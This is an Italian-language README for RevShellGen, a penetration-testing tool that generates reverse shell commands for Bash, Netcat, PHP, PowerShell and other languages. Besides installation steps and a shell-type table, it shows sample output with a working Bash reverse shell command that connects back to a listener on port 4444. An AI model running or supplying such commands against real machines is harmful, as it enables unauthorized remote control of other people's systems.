
Generatore di reverse shell scritto in Python 3.
Generatore di Reverse Shell
Automatizza la generazione di reverse shell con stile
Genera, codifica e cattura reverse shell senza fastidi
Caratteristiche • Installazione • Utilizzo • Tipi di Shell • Contribuire
RevShellGen è un potente strumento da riga di comando che semplifica il processo di generazione di comandi per reverse shell. Niente più ricerche di sintassi, niente più codifiche manuali, niente più mal di testa per la configurazione. Questo strumento gestisce tutto con un'interfaccia intuitiva.
# Installa da PyPI
pip install revshellgen
# Esegui lo strumento
revshellgen
# Clona il repository
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
# Installa le dipendenze
pip3 install -r requirements.txt
# Esegui lo strumento
python3 revshellgen.py # oppure python3 revshellgen_cli.py
RevShellGen richiede i seguenti pacchetti Python:
| Pacchetto | Scopo |
|---|---|
pyperclip | Operazioni sugli appunti |
colorama | Colori nel terminale |
readchar | Input interattivo da tastiera |
netifaces | Rilevamento interfacce di rete |
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate # Su Windows: venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt
# Potrebbe essere necessario installare python3-dev
sudo apt-get install python3-dev # Debian/Ubuntu
sudo yum install python3-devel # RHEL/CentOS
# Installa ncat per un miglior supporto listener
brew install nmap # Include ncat
Avvia lo strumento
python3 revshellgen.py
Configura la tua reverse shell
Il comando generato viene automaticamente copiato negli appunti
Avvia il listener (automatico)
Esegui il comando sulla macchina di destinazione
![]() Selezione Shell |
![]() Generazione Comando |
| Tipo di Shell | Descrizione | Piattaforma |
|---|---|---|
| Bash | Reverse shell TCP Bash | Linux/Unix |
| Python | Reverse shell basata su Python | Multipiattaforma |
| Netcat | Reverse shell nc tradizionale | Linux/Unix |
| Netcat mkfifo | Netcat con named pipe | Linux/Unix |
| Perl | Reverse shell basata su Perl | Multipiattaforma |
| PHP | Reverse shell PHP | Multipiattaforma |
| Ruby | Reverse shell basata su Ruby | Multipiattaforma |
| Java | Reverse shell Java | Multipiattaforma |
| AWK | Reverse shell AWK | Linux/Unix |
| Socat | Reverse shell Socat | Linux/Unix |
| Socat TTY | Socat con TTY completo | Linux/Unix |
| Telnet | Reverse shell Telnet | Linux/Unix |
| PowerShell | Windows PowerShell | Windows |
RevShellGen ora include istruzioni complete per l'upgrade TTY. Dopo aver catturato una shell, lo strumento fornisce:
Lo strumento rileva automaticamente e utilizza la variante netcat appropriata:
ncat (preferito, dal pacchetto nmap)nc (netcat tradizionale)nc specifica di macOS$ python3 revshellgen.py
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ SELEZIONA IP ] ----------
[ x ] 192.168.1.10 su eth0
[ ] 10.0.0.5 su tun0
[ ] Specifica manualmente
---------- [ SPECIFICA PORTA ] ----------
[ # ] Inserisci il numero di porta : 4444
---------- [ SELEZIONA COMANDO ] ----------
[ x ] unix_bash
[ ] unix_python
[ ] unix_nc_mkfifo
...
---------- [ COMANDO REVERSE SHELL ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
[ + ] Comando copiato negli appunti!
[ + ] Avvio listener sulla porta 4444...